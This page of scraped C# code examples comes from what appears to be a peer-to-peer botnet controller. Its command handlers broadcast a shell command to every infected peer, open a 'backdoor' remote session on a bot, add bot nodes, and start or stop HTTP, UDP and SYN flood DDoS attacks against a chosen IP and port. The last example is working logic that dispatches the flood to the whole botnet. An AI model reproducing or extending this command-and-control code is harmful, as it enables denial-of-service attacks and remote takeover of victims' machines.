Ejemplo n.º 1
0
 public DebugCommand(Agent agent, CommandLineReader repl)
     : base("debug", "Allows to perform diagnostic tasks")
 {
     _agent = agent;
     _repl = repl;
     Options = new OptionSet() {
         "usage: debug command",
         "",
         "Execute diagnostic commands.",
         "eg: debug get-peer-list",
         { "help|h|?","Show this message and exit.", v => ShowHelp = v != null }
     };
     _repl.AddAutocompletionWords("debug", "get-peer-list", "clear-peer-list");
 }
Ejemplo n.º 2
0
 public ExecuteCommand(Agent agent, CommandLineReader repl)
     : base("execute", "Execute a shell command in all the peers")
 {
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: execute command",
         "",
         "Execute a shell command in all the peers. It doesn't return the output.",
         "eg: execute copy ~my.tmp c:\\Program Files (x86)\\Notepad++\\unistall.exe",
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("execute");
 }
Ejemplo n.º 3
0
 public DDoSStopCommand(Agent agent, CommandLineReader repl)
     : base("ddos-stop", "Stops an ongoing DDOS attack.")
 {
     _agent  = agent;
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: ddos-stop sessionid",
         "",
         "Stops an ongoing DDOS attack identified by its sessionid",
         "eg: ddos-stop 2343256490123552",
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("ddos-stop");
 }
Ejemplo n.º 4
0
 public AddNodeCommand(Agent agent, CommandLineReader repl)
     : base("add-node", "Add node and connect to it.")
 {
     _agent  = agent;
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: add-node endpoint",
         "",
         "Tries to connect to a bot in the specified endpoint (ipaddress:port).",
         "eg: add-node 78.13.81.9:8080",
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("add-node", "127.0.0.1");
 }
Ejemplo n.º 5
0
 public BackdoorCommand(Agent agent, CommandLineReader repl)
     : base("backdoor", "Opens a session with a remote agent to execute commands.")
 {
     _agent  = agent;
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: backdoor --bot:identifier",
         "",
         "Opens a session with a remote agent to execute shell commands.",
         "eg: backdoor --bot:028d9a9a9b76a755f6262409d86c7e05",
         { "bot=", "{bot} the bot identifier to connect with", x => BotId = x },
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("backdoor", "--bot");
 }
Ejemplo n.º 6
0
 public DDoSStartCommand(Agent agent, CommandLineReader repl)
     : base("ddos-start", "Perform DDOS attack against specified target.")
 {
     _agent  = agent;
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: ddos-start --type:attack-type --target:ipaddress:port",
         "",
         "Performs a DDoS attack against the specified target ip:port endpoint.",
         "eg: ddos --type:httpflood --target:212.54.13.87:80",
         { "type=", "{type} of attack [httpflood | udpflood | tcpsynflood].", x => Type = x },
         { "target=", "{target} to attack (ipaddress:port endpoint)", x => Target = x },
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("ddos-start", "--type", "--target", "synflood", "udpflood", "httpflood");
 }
Ejemplo n.º 7
0
        public override int Invoke(IEnumerable <string> args)
        {
            try
            {
                var extra = Options.Parse(args);
                if (ShowHelp)
                {
                    Options.WriteOptionDescriptions(CommandSet.Out);
                    return(0);
                }
                if (string.IsNullOrEmpty(Target))
                {
                    _repl.Console.WriteLine("commands: Missing required argument `--target=TARGET`.");
                    _repl.Console.WriteLine("commands: Use `help ddos-start` for details.");
                    return(1);
                }
                if (string.IsNullOrEmpty(Type))
                {
                    _repl.Console.WriteLine("commands: Missing required argument `--typet=TYPE`.");
                    _repl.Console.WriteLine("commands: Use `help ddos-start` for details.");
                    return(1);
                }

                DosAttackMessage.DosType type;
                switch (Type)
                {
                case "httpflood":
                    type = DosAttackMessage.DosType.HttpFlood;
                    break;

                case "synflood":
                    type = DosAttackMessage.DosType.SynFlood;
                    break;

                case "udpflood":
                    type = DosAttackMessage.DosType.UdpFlood;
                    break;

                default:
                    _repl.Console.WriteLine("commands: Invalid attack type.");
                    _repl.Console.WriteLine("commands: Use `help ddos-start` for details.");
                    return(1);
                }
                var endpointParts = Target.Split(':');
                var ip            = endpointParts[0];
                var port          = int.Parse(endpointParts[1]);
                var session       = (ulong)Utils.RandomUtils.NextCorrelationId();
                var ddosMessage   = new DosAttackMessage()
                {
                    AttackId = session,
                    Type     = type,
                    Threads  = 4,
                    Target   = new IPEndPoint(IPAddress.Parse(ip), port),
                    Buffer   = new byte[0]
                };
                _agent.MessagesManager.Broadcast(ddosMessage, 6);
                _repl.Console.WriteLine($"Attack sessionID {session}");
                _repl.Console.WriteLine($"Stop it using ´ddos-stop {session}´");
                _repl.AddAutocompletionWords(session.ToString());
                return(0);
            }
            catch (Exception e)
            {
                //_repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
                return(1);
            }
        }